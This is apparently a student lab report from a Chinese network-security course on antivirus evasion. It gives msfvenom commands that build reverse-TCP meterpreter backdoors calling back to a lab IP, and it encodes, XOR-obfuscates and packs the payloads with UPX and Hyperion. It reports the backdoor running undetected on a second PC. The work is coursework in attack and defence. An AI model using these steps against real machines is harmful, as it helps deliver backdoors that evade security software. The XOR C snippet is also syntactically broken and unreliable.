2020-2021-2 20184307【網絡對抗技術】Exp3 免殺原理與實踐
Exp3 免殺原理與實踐
前言
免殺
一般是對惡意軟件做處理,讓它不被殺毒軟件所檢測。也是滲透測試中需要使用到的技術。
要做好免殺,就時清楚殺毒軟件(惡意軟件檢測工具)是如何工作的。AV(Anti-virus)是很大一個產業。其中主要的技術人員基本有編制惡意軟件的經驗。
反過來也一樣,了解了免殺的工具和技術,你也就具有了反制它的基礎。
免殺效果檢測
一、實驗內容
實踐內容(4分)
1.1 方法(3分)
- 正確使用msf編碼器(0.5分),
- msfvenom生成如jar之類的其他文件(0.5分),
- veil(0.5分),
- 加殼工具(0.5分),
- 使用C + shellcode編程(0.5分),
- 使用其他課堂未介紹方法(0.5分)
1.2 通過組合應用各種技術實現惡意代碼免殺(0.5分)
(如果成功實現了免殺的,簡單語言描述原理,不要截圖。與殺軟共生的結果驗證要截圖。)
1.3 用另一電腦實測,在殺軟開啟的情況下,可運行并回連成功,注明電腦的殺軟名稱與版本(加分0.5)
二、基礎問題回答
2.1基礎問題回答
(1)殺軟是如何檢測出惡意代碼的?
基于特征碼的檢測:一段特征碼就是一段或多段數據,如果一個可執行文件(或其他運行的庫、腳本等)包含這樣的數據則被認為是惡意代碼。
啟發式惡意軟件檢測:利用惡意軟件檢測,把它當成一個惡意軟件進行檢查。典型的行為有連接惡意網站/開放端口/修改系統文件,典型的外觀有文件本身簽名/結構/廠商等信息。
基于行為的惡意軟件檢測:相當于是一種啟發式或是加入了行為監控的啟發式
(2)免殺是做什么?
保證后門程序不被殺毒軟件/安全軟件發現
(3)免殺的基本方法有哪些?
文件免殺
加花
修改文件特征碼
加殼
修改加殼后的文件
內存免殺
修改內存特征
行為免殺
加花(加區加花/去頭加花)
特征碼定位(直接替換/二叉樹)
特征碼修改(直接修改/跳轉修改)
加殼(壓縮/加密)+修改加殼后的文件
(4)開啟殺軟能絕對防止電腦中惡意代碼嗎?
從實驗結果來看顯然是不可以的
三、實驗過程
3.1 基礎免殺方法
使用msf編碼器生成后門(exe.)
使用命令:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.1.113 LPORT=4307 -f exe > mark_backdoor_1.exe

我們通過virustotal去掃描

據說編碼次數越多越不容易被查殺,那么我們就再來試一試編碼12次的msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b '\x00' LHOST=192.168.1.113 LPORT=4307 -f exe > 4307twelve.exe

我們再次在virustotal掃描,發現還是查出來了

使用msf編碼生成后門jar及檢測
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.113 LPORT=4307 x> 4307ava.jar


使用msfvenom生成php文件及檢測
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.113 LPORT=4307 x> 4307.php


使用msfvenom生成linux文件及檢測
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.113 LPORT=4307 x> 4307_linux
我們發現virustotal無法檢測出來,網站上沒有一款殺軟殺出來這個后門


3.2通過veil平臺生成后門





3.3使用C+Shellcode編程及檢測
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.113 LPORT=4307 -f c
我們輸入代碼生成一段shellcode
我們輸入touch shellcode_4307.c生成一個文件,用vim shellcode_4307.c編輯shellcode的c語言程序

i686-w64-mingw32-g++ shellcode_4307.c -o shellcode_4307.exe然后我們進行編譯
進行掃描

##使用加殼工具(UPX/Hyperion)及檢測
壓縮殼: UPX
upx shellcode_4307.exe -o ke_shellcode_4307.exe為shellcode程序加上壓縮殼


加密殼: Hyperion
首先我們需要確定系統裝有Hyperion的軟件包我們才可以正常使用它
sudo apt-get install hyperion


我們使用Hyperion加密必須在同一文件路徑下才能進行


進行文件的檢測

至于加殼為什么不能徹底避免殺軟檢測,老師給出了一種說法:原因在于加密過的代碼段的熵太高
3.4使用其他課堂未介紹的方法
輸入use Evasion

輸入list指令,我們選擇第28個,輸入指令use 28完成選擇,然后一一進行配置


我們可以生成runme.bat文件
然后進行掃描

3.5通過組合應用各種技術實現惡意代碼免殺
首先生成一段shellcode

將生成的shellcode復制到codeblock中,然后輸入代碼進行編譯
int main
{
? int i;
? for (i = 0; i < sizeof(buf); i++)
? {
? buf[i] ^= 0x01;
? printf("\x%x",buf[i]);
? }
}
` 
將生成的結果復制下來,這時輸入指令vim shellcode-2018430701.c編寫生成的.c文件,最后在對生成的文件進行加殼



殺軟并沒有殺出我這個文件
3.6連通另外一臺電腦并且沒有被檢測出來

受害者電腦殺軟是騰訊電腦管家13.7
四、實驗總結與體會
本次實驗可以當作后門原理與實踐的善始善終,我們從攻擊方角度就是要去思考怎么樣生成程序殺軟查不到,這也給我一些經驗,做免殺要從不同方面入手才行,因為我們可以給shellcode加密,可以加殼等等這些都是可以嵌套的,而殺軟看上去并不擅長的一層一層剝開我們的殼,所以用不同的殼來包裝shellcode也不失為一種好辦法。那從守方來考慮,現在各種惡意程序層出不窮,考慮到實際應用,魔高一尺道高一丈,免殺技術高速發展下新免殺技術一出現就會被各大安全廠商盯上,攻擊技術與防御技術之間的激烈對抗不斷推動著我們信息安全技術的發展。
這次實驗總體上來說還是很有難度的,很多地方也是通過同學幫助才完成的,但也深刻了解了如今信息安全問題愈發的嚴峻了。

浙公網安備 33010602011771號